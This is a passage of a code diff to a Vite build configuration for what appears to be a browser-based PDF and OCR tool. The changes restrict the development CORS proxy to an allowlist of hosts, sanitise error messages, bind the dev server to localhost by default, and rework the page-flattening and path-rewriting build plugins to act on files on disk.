process.env.VITE_WASM_PYMUPDF_URL,
process.env.VITE_WASM_GS_URL,
process.env.VITE_WASM_CPDF_URL,
process.env.VITE_TESSERACT_WORKER_URL,
process.env.VITE_TESSERACT_CORE_URL,
process.env.VITE_TESSERACT_LANG_URL,
process.env.VITE_OCR_FONT_BASE_URL,
];
for (const raw of envHostSources) {
if (!raw) continue;
try {
hosts.add(new URL(raw).hostname);
} catch {
console.warn(
`[vite] Ignoring malformed VITE_* URL in dev CORS proxy allowlist: ${raw}`
);
}
}
const extra = process.env.VITE_DEV_CORS_PROXY_EXTRA_HOSTS;
if (extra) {
for (const host of extra.split(',').map((s) => s.trim())) {
if (host) hosts.add(host);
}
}
return hosts;
}
const CORS_PROXY_ALLOWED_HOSTS = buildCorsProxyAllowedHosts();
function createCorsProxyMiddleware(): Connect.NextHandleFunction {
return (
req: IncomingMessage,
@@ -225,6 +267,31 @@ function createCorsProxyMiddleware(): Connect.NextHandleFunction {
return;
}
let targetHost: string;
let targetProtocol: string;
try {
const parsedTarget = new URL(targetUrl);
targetHost = parsedTarget.hostname;
targetProtocol = parsedTarget.protocol;
} catch {
res.statusCode = 400;
res.end('Invalid url parameter');
return;
}
if (targetProtocol !== 'https:' && targetProtocol !== 'http:') {
res.statusCode = 400;
res.end('Unsupported protocol');
return;
}
if (!CORS_PROXY_ALLOWED_HOSTS.has(targetHost)) {
console.warn(`[CORS Proxy] Blocked disallowed host: ${targetHost}`);
res.statusCode = 403;
res.end(`Host not allowed: ${targetHost}`);
return;
}
console.log(`[CORS Proxy] ${req.method} ${targetUrl}`);
const bodyChunks: Buffer[] = [];
@@ -261,9 +328,10 @@ function createCorsProxyMiddleware(): Connect.NextHandleFunction {
);
proxyReq.on('error', (err) => {
console.error('[CORS Proxy] Error:', err.message);
const msg = String(err.message).replace(/[\r\n]+/g, ' ');
console.error('[CORS Proxy] Error:', msg);
res.statusCode = 502;
res.end(`Proxy error: ${err.message}`);
res.end(`Proxy error: ${msg}`);
});
if (body.length > 0) {
@@ -292,19 +360,41 @@ function flattenPagesPlugin(): Plugin {
return {
name: 'flatten-pages',
enforce: 'post',
generateBundle(_: unknown, bundle: OutputBundle): void {
writeBundle(options, bundle) {
const outDir = options.dir;
if (!outDir) return;
const moves: Array<{ from: string; to: string }> = [];
for (const fileName of Object.keys(bundle)) {
if (fileName.startsWith('src/pages/') && fileName.endsWith('.html')) {
const newFileName = fileName.replace('src/pages/', '');
bundle[newFileName] = bundle[fileName];
bundle[newFileName].fileName = newFileName;
delete bundle[fileName];
moves.push({
from: fileName,
to: fileName.replace('src/pages/', ''),
});
}
}
if (process.env.SIMPLE_MODE === 'true' && bundle['simple-index.html']) {
bundle['index.html'] = bundle['simple-index.html'];
bundle['index.html'].fileName = 'index.html';
delete bundle['simple-index.html'];
moves.push({ from: 'simple-index.html', to: 'index.html' });
}
for (const { from, to } of moves) {
const oldPath = resolve(outDir, from);
const newPath = resolve(outDir, to);
if (!fs.existsSync(oldPath)) continue;
fs.mkdirSync(resolve(newPath, '..'), { recursive: true });
if (fs.existsSync(newPath)) fs.rmSync(newPath, { force: true });
fs.renameSync(oldPath, newPath);
}
const pagesDir = resolve(outDir, 'src/pages');
if (fs.existsSync(pagesDir) && fs.readdirSync(pagesDir).length === 0) {
fs.rmdirSync(pagesDir);
}
const srcDir = resolve(outDir, 'src');
if (fs.existsSync(srcDir) && fs.readdirSync(srcDir).length === 0) {
fs.rmdirSync(srcDir);
}
},
};
@@ -319,31 +409,35 @@ function rewriteHtmlPathsPlugin(): Plugin {
return {
name: 'rewrite-html-paths',
enforce: 'post',
generateBundle(_: unknown, bundle: OutputBundle): void {
writeBundle(options, bundle) {
if (normalizedBase === '/') return;
const outDir = options.dir;
if (!outDir) return;
const hrefRegex = new RegExp(
`href="\\/(?!${escapedBase.slice(1)}|test\\/|http|\\/\\/)`,
'g'
);
const srcRegex = new RegExp(
`src="\\/(?!${escapedBase.slice(1)}|test\\/|http|\\/\\/)`,
'g'
);
const contentRegex = new RegExp(
`content="\\/(?!${escapedBase.slice(1)}|test\\/|http|\\/\\/)`,
'g'
);
for (const fileName of Object.keys(bundle)) {
if (fileName.endsWith('.html')) {
const asset = bundle[fileName];
if (asset.type === 'asset' && typeof asset.source === 'string') {
const hrefRegex = new RegExp(
`href="\\/(?!${escapedBase.slice(1)}|test\\/|http|\\/\\/)`,
'g'
);
const srcRegex = new RegExp(
`src="\\/(?!${escapedBase.slice(1)}|test\\/|http|\\/\\/)`,
'g'
);
const contentRegex = new RegExp(
`content="\\/(?!${escapedBase.slice(1)}|test\\/|http|\\/\\/)`,
'g'
);
asset.source = asset.source
.replace(hrefRegex, `href="${normalizedBase}`)
.replace(srcRegex, `src="${normalizedBase}`)
.replace(contentRegex, `content="${normalizedBase}`);
}
if (!fileName.endsWith('.html')) continue;
const diskPath = resolve(outDir, fileName);
if (!fs.existsSync(diskPath)) continue;
const source = fs.readFileSync(diskPath, 'utf8');
const updated = source
.replace(hrefRegex, `href="${normalizedBase}`)
.replace(srcRegex, `src="${normalizedBase}`)
.replace(contentRegex, `content="${normalizedBase}`);
if (updated !== source) {
fs.writeFileSync(diskPath, updated);
}
}
},
@@ -440,7 +534,7 @@ export default defineConfig(() => {
exclude: ['coherentpdf', 'wasm-vips'],
},
server: {
host: true,
host: process.env.VITE_DEV_HOST || 'localhost',
headers: {
'Cross-Origin-Opener-Policy': 'same-origin',
'Cross-Origin-Embedder-Policy': 'require-corp',